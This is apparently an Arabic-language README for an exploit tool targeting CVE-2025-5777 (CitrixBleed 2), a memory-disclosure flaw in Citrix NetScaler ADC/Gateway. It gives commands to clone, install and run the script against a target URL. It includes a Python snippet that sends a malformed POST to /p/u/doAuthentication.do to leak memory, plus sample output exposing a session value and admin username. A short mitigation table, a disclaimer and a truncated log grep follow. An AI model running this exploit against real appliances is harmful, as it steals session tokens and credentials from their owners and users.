
CVE-2025-5777 استغلال تسرب الذاكرة في Citrix NetScaler (CitrixBleed 2)

تعرض هذه الأداة CVE-2025-5777، وهي ثغرة حرجة في كشف الذاكرة بأجهزة Citrix NetScaler ADC/Gateway. يقوم الاستغلال بتسريب محتويات حساسة من الذاكرة عبر طلبات مصادقة مشوهة.
الميزات الرئيسية:
✔ كشف تسرب الذاكرة عبر تحليل استجابات XML
✔ تفريغ Hex+ASCII لمناطق الذاكرة المسربة
✔ صيغة طلبات متوافقة مع Burp Suite
✔ طلبات غير متزامنة لاختبار فعّال


git clone https://github.com/bughuntar/CVE-2025-5777.git
cd CVE-2025-5777
pip install requests beautifulsoup4 aiohttp colorama
chmod +x citrix_memory_leak.py
python3 citrix_memory_leak.py https://target-netscaler.com
المخرجات المتوقعة:
+ [+] Memory leak detected!
--- Leaked Memory Hex Dump ---
00000000 73 65 73 73 69 6F 6E 3D 31 32 33 34 35 36 37 38 session=12345678
00000010 55 73 65 72 3A 20 61 64 6D 69 6E 00 00 00 00 00 User: admin.....
| الإجراء | الأمر/المرجع |
|---|---|
| التصحيح | نشرة Citrix الأمنية |
| قاعدة WAF | Block POST /p/u/doAuthentication.do with malformed params |
# Malformed request trigger
async def exploit(target):
async with aiohttp.post(
f"{target}/p/u/doAuthentication.do",
data="login", # Missing equals sign triggers leak
ssl=False
) as response:
await parse_leak(await response.read())
- This tool is for authorized testing ONLY.
- Unauthorized use violates international cybersecurity laws.
إخلاء المسؤولية الكامل: DISCLAIMER.md
المؤلف: Professor the Hunter
grep 'POST /p/u/doAuthentication.do' netscaler.log |